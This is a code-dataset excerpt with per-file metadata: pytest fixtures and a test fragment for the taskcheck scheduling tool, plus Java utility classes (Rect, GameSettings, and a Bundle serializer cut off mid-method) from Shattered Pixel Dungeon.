Mock() mock_args.install = False mock_args.schedule = False mock_args.report = "today" mock_args.auto_adjust_urgency = True mock_parse.return_value = mock_args with patch("taskcheck.__main__.load_config", return_value={}): with patch( "builtins.__import__", side_effect=ImportError("Report module not found"), ): with pytest.raises(ImportError): main()
21,849
test_main
py
en
python
code
{"qsc_code_num_words": 2279, "qsc_code_num_chars": 21849.0, "qsc_code_mean_word_length": 4.95612111, "qsc_code_frac_words_unique": 0.07854322, "qsc_code_frac_chars_top_2grams": 0.0835768, "qsc_code_frac_chars_top_3grams": 0.03683046, "qsc_code_frac_chars_top_4grams": 0.03824701, "qsc_code_frac_chars_dupe_5grams": 0.80787959, "qsc_code_frac_chars_dupe_6grams": 0.76573705, "qsc_code_frac_chars_dupe_7grams": 0.73793714, "qsc_code_frac_chars_dupe_8grams": 0.69065958, "qsc_code_frac_chars_dupe_9grams": 0.66436476, "qsc_code_frac_chars_dupe_10grams": 0.65276671, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00841415, "qsc_code_frac_chars_whitespace": 0.35813996, "qsc_code_size_file_byte": 21849.0, "qsc_code_num_lines": 605.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 36.11404959, "qsc_code_frac_chars_alphabet": 0.79699087, "qsc_code_frac_chars_comments": 0.06668497, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.748, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.12924398, "qsc_code_frac_chars_long_word_length": 0.06351165, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.102, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.048, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.024, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.08, "qsc_codepython_frac_lines_print": 0.004}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00sapo/taskcheck
tests/conftest.py
import pytest import json import tempfile from datetime import datetime, timedelta from pathlib import Path from unittest.mock import Mock, patch @pytest.fixture def sample_config(): """Sample configuration for testing.""" return { "time_maps": { "work": { "monday": [[9.0, 17.0]], "tuesday": [[9.0, 17.0]], "wednesday": [[9.0, 17.0]], "thursday": [[9.0, 17.0]], "friday": [[9.0, 17.0]], "saturday": [], "sunday": [] }, "personal": { "monday": [[18.0, 22.0]], "tuesday": [[18.0, 22.0]], "wednesday": [[18.0, 22.0]], "thursday": [[18.0, 22.0]], "friday": [[18.0, 22.0]], "saturday": [[10.0, 18.0]], "sunday": [[10.0, 18.0]] } }, "scheduler": { "days_ahead": 7, "weight_urgency": 1.0, "weight_due_date": 0.0 }, "calendars": { "work_calendar": { "url": "https://example.com/calendar.ics", "event_all_day_is_blocking": True, "expiration": 0.25, "timezone": "UTC" } }, "report": { "include_unplanned": True, "additional_attributes": ["urgency", "priority"], "additional_attributes_unplanned": ["urgency", "due"], "emoji_keywords": { "meeting": ":busts_in_silhouette:", "code": ":computer:" } } } @pytest.fixture def sample_tasks(): """Sample task data for testing.""" return [ { "id": 1, "uuid": "task-1-uuid", "description": "Write documentation", "estimated": "P2H", "time_map": "work", "urgency": 10.5, "status": "pending", "project": "docs", "entry": "20231201T090000Z" }, { "id": 2, "uuid": "task-2-uuid", "description": "Code review meeting", "estimated": "P1H", "time_map": "work", "urgency": 15.2, "status": "pending", "project": "dev", "entry": "20231201T100000Z", "due": "20231210T170000Z" }, { "id": 3, "uuid": "task-3-uuid", "description": "Personal project", "estimated": "P3H", "time_map": "personal", "urgency": 5.0, "status": "pending", "project": "hobby", "entry": "20231201T110000Z" } ] @pytest.fixture def sample_calendar_events(): """Sample calendar events for testing.""" today = datetime.now().date() return [ { "start": (datetime.combine(today, datetime.min.time()) + timedelta(hours=14)).isoformat(), "end": (datetime.combine(today, datetime.min.time()) + timedelta(hours=15)).isoformat() }, { "start": (datetime.combine(today + timedelta(days=1), datetime.min.time()) + timedelta(hours=10)).isoformat(), "end": (datetime.combine(today + timedelta(days=1), datetime.min.time()) + timedelta(hours=11)).isoformat() } ] @pytest.fixture def test_taskrc(): """Provide a consistent test taskrc path.""" return "/tmp/taskcheck/" @pytest.fixture def mock_subprocess_run(): """Mock subprocess.run for Taskwarrior commands.""" with patch('subprocess.run') as mock_run: yield mock_run @pytest.fixture def mock_task_export(sample_tasks): """Mock task export command.""" def _mock_run(cmd, **kwargs): mock_result = Mock() if cmd == ["task", "export"]: mock_result.stdout = json.dumps(sample_tasks) elif cmd[0] == "task" and "_show" in cmd: mock_result.stdout = """urgency.uda.estimated.P1H.coefficient=5.0 urgency.uda.estimated.P2H.coefficient=8.0 urgency.uda.estimated.P3H.coefficient=10.0 urgency.inherit=1 urgency.active.coefficient=4.0 urgency.age.max=365 urgency.due.coefficient=12.0 urgency.age.coefficient=2.0""" else: mock_result.stdout = "" mock_result.stderr = "" mock_result.returncode = 0 return mock_result with patch('subprocess.run', side_effect=_mock_run): yield @pytest.fixture def mock_task_export_with_taskrc(sample_tasks, test_taskrc): """Mock task export command with taskrc verification.""" def _mock_run(cmd, **kwargs): # Verify environment is passed correctly when using taskrc env = kwargs.get('env') if env and 'TASKRC' in env: assert env['TASKRC'] == test_taskrc assert env['TASKDATA'] == test_taskrc mock_result = Mock() if cmd == ["task", "export"]: mock_result.stdout = json.dumps(sample_tasks) elif cmd[0] == "task" and "_show" in cmd: mock_result.stdout = """urgency.uda.estimated.P1H.coefficient=5.0 urgency.uda.estimated.P2H.coefficient=8.0 urgency.uda.estimated.P3H.coefficient=10.0 urgency.inherit=1 urgency.active.coefficient=4.0 urgency.age.max=365 urgency.due.coefficient=12.0 urgency.age.coefficient=2.0""" else: mock_result.stdout = "" mock_result.stderr = "" mock_result.returncode = 0 return mock_result with patch('subprocess.run', side_effect=_mock_run): yield @pytest.fixture def temp_cache_dir(): """Temporary directory for cache testing.""" with tempfile.TemporaryDirectory() as temp_dir: with patch('taskcheck.ical.CACHE', Path(temp_dir)): yield Path(temp_dir) @pytest.fixture def mock_ical_response(): """Mock iCal response data.""" return """BEGIN:VCALENDAR VERSION:2.0 PRODID:test BEGIN:VEVENT UID:test-event-1 DTSTART:20231205T140000Z DTEND:20231205T150000Z SUMMARY:Test Meeting END:VEVENT BEGIN:VEVENT UID:test-event-2 DTSTART:20231206T100000Z DTEND:20231206T110000Z SUMMARY:Another Meeting RRULE:FREQ=WEEKLY;COUNT=3 END:VEVENT END:VCALENDAR"""
6,230
conftest
py
en
python
code
{"qsc_code_num_words": 671, "qsc_code_num_chars": 6230.0, "qsc_code_mean_word_length": 5.0, "qsc_code_frac_words_unique": 0.28912072, "qsc_code_frac_chars_top_2grams": 0.04172876, "qsc_code_frac_chars_top_3grams": 0.04292101, "qsc_code_frac_chars_top_4grams": 0.00745156, "qsc_code_frac_chars_dupe_5grams": 0.37913562, "qsc_code_frac_chars_dupe_6grams": 0.34694486, "qsc_code_frac_chars_dupe_7grams": 0.3338301, "qsc_code_frac_chars_dupe_8grams": 0.3338301, "qsc_code_frac_chars_dupe_9grams": 0.30461997, "qsc_code_frac_chars_dupe_10grams": 0.30461997, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.06082167, "qsc_code_frac_chars_whitespace": 0.30064205, "qsc_code_size_file_byte": 6230.0, "qsc_code_num_lines": 213.0, "qsc_code_num_chars_line_max": 123.0, "qsc_code_num_chars_line_mean": 29.24882629, "qsc_code_frac_chars_alphabet": 0.70920358, "qsc_code_frac_chars_comments": 0.06147673, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.32967033, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.3063265, "qsc_code_frac_chars_long_word_length": 0.10911912, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01098901, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.06043956, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.03296703, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.13186813, "qsc_codepython_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/Rect.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import java.util.ArrayList; public class Rect { public int left; public int top; public int right; public int bottom; public Rect() { this( 0, 0, 0, 0 ); } public Rect( Rect rect ) { this( rect.left, rect.top, rect.right, rect.bottom ); } public Rect( int left, int top, int right, int bottom ) { this.left = left; this.top = top; this.right = right; this.bottom = bottom; } public int width() { return right - left; } public int height() { return bottom - top; } public int square() { return width() * height(); } public Rect set( int left, int top, int right, int bottom ) { this.left = left; this.top = top; this.right = right; this.bottom = bottom; return this; } public Rect set( Rect rect ) { return set( rect.left, rect.top, rect.right, rect.bottom ); } public Rect setPos( int x, int y ) { return set( x, y, x + (right - left), y + (bottom - top)); } public Rect shift( int x, int y ) { return set( left+x, top+y, right+x, bottom+y ); } public Rect resize( int w, int h ){ return set( left, top, left+w, top+h); } public boolean isEmpty() { return right <= left || bottom <= top; } public Rect setEmpty() { left = right = top = bottom = 0; return this; } public Rect intersect( Rect other ) { Rect result = new Rect(); result.left = Math.max( left, other.left ); result.right = Math.min( right, other.right ); result.top = Math.max( top, other.top ); result.bottom = Math.min( bottom, other.bottom ); return result; } public Rect union( Rect other ){ Rect result = new Rect(); result.left = Math.min( left, other.left ); result.right = Math.max( right, other.right ); result.top = Math.min( top, other.top ); result.bottom = Math.max( bottom, other.bottom ); return result; } public Rect union( int x, int y ) { if (isEmpty()) { return set( x, y, x + 1, y + 1 ); } else { if (x < left) { left = x; } else if (x >= right) { right = x + 1; } if (y < top) { top = y; } else if (y >= bottom) { bottom = y + 1; } return this; } } public Rect union( Point p ) { return union( p.x, p.y ); } public boolean inside( Point p ) { return p.x >= left && p.x < right && p.y >= top && p.y < bottom; } public Rect shrink( int d ) { return new Rect( left + d, top + d, right - d, bottom - d ); } public Rect shrink() { return shrink( 1 ); } public ArrayList<Point> getPoints() { ArrayList<Point> points = new ArrayList<>(); for (int i = left; i <= right; i++) for (int j = top; j <= bottom; j++) points.add(new Point(i, j)); return points; } }
3,474
Rect
java
en
java
code
{"qsc_code_num_words": 515, "qsc_code_num_chars": 3474.0, "qsc_code_mean_word_length": 4.18446602, "qsc_code_frac_words_unique": 0.25048544, "qsc_code_frac_chars_top_2grams": 0.06960557, "qsc_code_frac_chars_top_3grams": 0.02969838, "qsc_code_frac_chars_top_4grams": 0.02645012, "qsc_code_frac_chars_dupe_5grams": 0.33271462, "qsc_code_frac_chars_dupe_6grams": 0.3136891, "qsc_code_frac_chars_dupe_7grams": 0.19489559, "qsc_code_frac_chars_dupe_8grams": 0.19489559, "qsc_code_frac_chars_dupe_9grams": 0.15406032, "qsc_code_frac_chars_dupe_10grams": 0.11693735, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01033691, "qsc_code_frac_chars_whitespace": 0.24812896, "qsc_code_size_file_byte": 3474.0, "qsc_code_num_lines": 153.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 22.70588235, "qsc_code_frac_chars_alphabet": 0.81470138, "qsc_code_frac_chars_comments": 0.2248129, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.14018692, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.23364486, "qsc_codejava_score_lines_no_logic": 0.34579439, "qsc_codejava_frac_words_no_modifier": 0.65384615, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/GameSettings.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.badlogic.gdx.Gdx; public class GameSettings { public static final String FILE_NAME = "pd-prefs"; private static com.badlogic.gdx.Preferences prefs; private static com.badlogic.gdx.Preferences get() { if (prefs == null) { prefs = Gdx.app.getPreferences(FILE_NAME); } return prefs; } public static boolean contains( String key ){ return get().contains( key ); } public static int getInt( String key, int defValue ) { return getInt(key, defValue, Integer.MIN_VALUE, Integer.MAX_VALUE); } public static int getInt( String key, int defValue, int min, int max ) { try { int i = get().getInteger( key, defValue ); if (i < min || i > max){ int val = (int) GameMath.gate(min, i, max); put(key, val); return val; } else { return i; } } catch (ClassCastException e) { //ShatteredPixelDungeon.reportException(e); put(key, defValue); return defValue; } } public static boolean getBoolean( String key, boolean defValue ) { try { return get().getBoolean(key, defValue); } catch (ClassCastException e) { //ShatteredPixelDungeon.reportException(e); put(key, defValue); return defValue; } } public static String getString( String key, String defValue ) { return getString(key, defValue, Integer.MAX_VALUE); } public static String getString( String key, String defValue, int maxLength ) { try { String s = get().getString( key, defValue ); if (s != null && s.length() > maxLength) { put(key, defValue); return defValue; } else { return s; } } catch (ClassCastException e) { //ShatteredPixelDungeon.reportException(e); put(key, defValue); return defValue; } } public static void put( String key, int value ) { get().putInteger(key, value).flush(); } public static void put( String key, boolean value ) { get().putBoolean( key, value ).flush(); } public static void put( String key, String value ) { get().putString(key, value).flush(); } }
2,808
GameSettings
java
en
java
code
{"qsc_code_num_words": 366, "qsc_code_num_chars": 2808.0, "qsc_code_mean_word_length": 5.23224044, "qsc_code_frac_words_unique": 0.36612022, "qsc_code_frac_chars_top_2grams": 0.06266319, "qsc_code_frac_chars_top_3grams": 0.02924282, "qsc_code_frac_chars_top_4grams": 0.04177546, "qsc_code_frac_chars_dupe_5grams": 0.41618799, "qsc_code_frac_chars_dupe_6grams": 0.37232376, "qsc_code_frac_chars_dupe_7grams": 0.33472585, "qsc_code_frac_chars_dupe_8grams": 0.28981723, "qsc_code_frac_chars_dupe_9grams": 0.20104439, "qsc_code_frac_chars_dupe_10grams": 0.15822454, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00764388, "qsc_code_frac_chars_whitespace": 0.20797721, "qsc_code_size_file_byte": 2808.0, "qsc_code_num_lines": 106.0, "qsc_code_num_chars_line_max": 80.0, "qsc_code_num_chars_line_mean": 26.49056604, "qsc_code_frac_chars_alphabet": 0.85341727, "qsc_code_frac_chars_comments": 0.32407407, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23880597, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00421496, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.19402985, "qsc_codejava_score_lines_no_logic": 0.34328358, "qsc_codejava_frac_words_no_modifier": 0.64285714, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/Bundle.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.watabou.noosa.Game; import com.badlogic.gdx.utils.reflect.ClassReflection; import com.badlogic.gdx.utils.reflect.ReflectionException; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import org.json.JSONTokener; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.PushbackInputStream; import java.lang.reflect.Modifier; import java.util.ArrayList; import java.util.Collection; import java.util.HashMap; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; public class Bundle { private static final String CLASS_NAME = "__className"; private static HashMap<String,String> aliases = new HashMap<>(); private JSONObject data; public Bundle() { this( new JSONObject() ); } public String toString() { return data.toString(); } private Bundle( JSONObject data ) { this.data = data; } public boolean isNull() { return data == null; } public boolean contains( String key ) { return !data.isNull( key ); } public boolean getBoolean( String key ) { return data.optBoolean( key ); } public int getInt( String key ) { return data.optInt( key ); } public long getLong( String key ) { return data.optLong( key ); } public float getFloat( String key ) { return (float)data.optDouble( key, 0.0 ); } public String getString( String key ) { return data.optString( key ); } public Class getClass( String key ) { String clName = getString(key).replace("class ", ""); if (!clName.equals("")){ if (aliases.containsKey( clName )) { clName = aliases.get( clName ); } return Reflection.forName( clName ); } return null; } public Bundle getBundle( String key ) { return new Bundle( data.optJSONObject( key ) ); } private Bundlable get() { if (data == null) return null; String clName = getString( CLASS_NAME ); if (aliases.containsKey( clName )) { clName = aliases.get( clName ); } Class<?> cl = Reflection.forName( clName ); //Skip none-static inner classes as they can't be instantiated through bundle restoring //Classes which make use of none-static inner classes must manage instantiation manually if (cl != null && (!Reflection.isMemberClass(cl) || Reflection.isStatic(cl))) { Bundlable object = (Bundlable) Reflection.newInstance(cl); if (object != null) { object.restoreFromBundle(this); return object; } } return null; } public Bundlable get( String key ) { return getBundle( key ).get(); } public <E extends Enum<E>> E getEnum( String key, Class<E> enumClass ) { try { return Enum.valueOf( enumClass, data.getString( key ) ); } catch (JSONException e) { Game.reportException(e); return enumClass.getEnumConstants()[0]; } catch (IllegalArgumentException e) { Game.reportException(e); return enumClass.getEnumConstants()[0]; } } public int[] getIntArray( String key ) { try { JSONArray array = data.getJSONArray( key ); int length = array.length(); int[] result = new int[length]; for (int i=0; i < length; i++) { result[i] = array.getInt( i ); } return result; } catch (JSONException e) { Game.reportException(e); return null; } } public float[] getFloatArray( String key ) { try { JSONArray array = data.getJSONArray( key ); int length = array.length(); float[] result = new float[length]; for (int i=0; i < length; i++) { result[i] = (float)array.optDouble( i, 0.0 ); } return result; } catch (JSONException e) { Game.reportException(e); return null; } } public boolean[] getBooleanArray( String key ) { try { JSONArray array = data.getJSONArray( key ); int length = array.length(); boolean[] result = new boolean[length]; for (int i=0; i < length; i++) { result[i] = array.getBoolean( i ); } return result; } catch (JSONException e) { Game.reportException(e); return null; } } public String[] getStringArray( String key ) { try { JSONArray array = data.getJSONArray( key ); int length = array.length(); String[] result = new String[length]; for (int i=0; i < length; i++) { result[i] = array.getString( i ); } return result; } catch (JSONException e) { Game.reportException(e); return null; } } public Class[] getClassArray( String key ) { try { JSONArray array = data.getJSONArray( key ); int length = array.length(); Class[] result = new Class[length]; for (int i=0; i < length; i++) { String clName = array.getString( i ).replace("class ", ""); if (aliases.containsKey( clName )) { clName = aliases.get( clName ); } Class cl = Reflection.forName( clName ); result[i] = cl; } return result; } catch (JSONException e) { Game.reportException(e); return null; } } public Collection<Bundlable> getCollection( String key ) { ArrayList<Bundlable> list = new ArrayList<>(); try { JSONArray array = data.getJSONArray( key ); for (int i=0; i < array.length(); i++) { Bundlable O = new Bundle( array.getJSONObject( i ) ).get(); if (O != null) list.add( O ); } } catch (JSONException e) { Game.reportException(e); } return list; } public void put( String key, boolean value ) { try { data.put( key, value ); } catch (JSONException e) { } } public void put( String key, int value ) { try { data.put( key, value ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, float value ) { try { data.put( key, value ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, long value ) { try { data.put( key, value ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, String value ) { try { data.put( key, value ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, Class value ){ try { data.put( key, value ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, Bundle bundle ) { try { data.put( key, bundle.data ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, Bundlable object ) { if (object != null) { try { Bundle bundle = new Bundle(); bundle.put( CLASS_NAME, object.getClass().getName() ); object.storeInBundle( bundle ); data.put( key, bundle.data ); } catch (JSONException e) { Game.reportException(e); } } } public void put( String key, Enum<?> value ) { if (value != null) { try { data.put( key, value.name() ); } catch (JSONException e) { Game.reportException(e); } } } public void put( String key, int[] array ) { try { JSONArray jsonArray = new JSONArray(); for (int i=0; i < array.length; i++) { jsonArray.put( i, array[i] ); } data.put( key, jsonArray ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, float[] array ) { try { JSONArray jsonArray = new JSONArray(); for (int i=0; i < array.length; i++) { jsonArray.put( i, array[i] ); } data.put( key, jsonArray ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, boolean[] array ) { try { JSONArray jsonArray = new JSONArray(); for (int i=0; i < array.length; i++) { jsonArray.put( i, array[i] ); } data.put( key, jsonArray ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, String[] array ) { try { JSONArray jsonArray = new JSONArray(); for (int i=0; i < array.length; i++) { jsonArray.put( i, array[i] ); } data.put( key, jsonArray ); } catch (JSONException e) { Game.reportException(e); } } public void put( String key, Class[] array ){ try { JSONArray jsonArray = new JSONArray(); for (int i=0; i < array.length; i++) { jsonArray.put( i, array[i] ); } data.put( key, jsonArray ); } catch 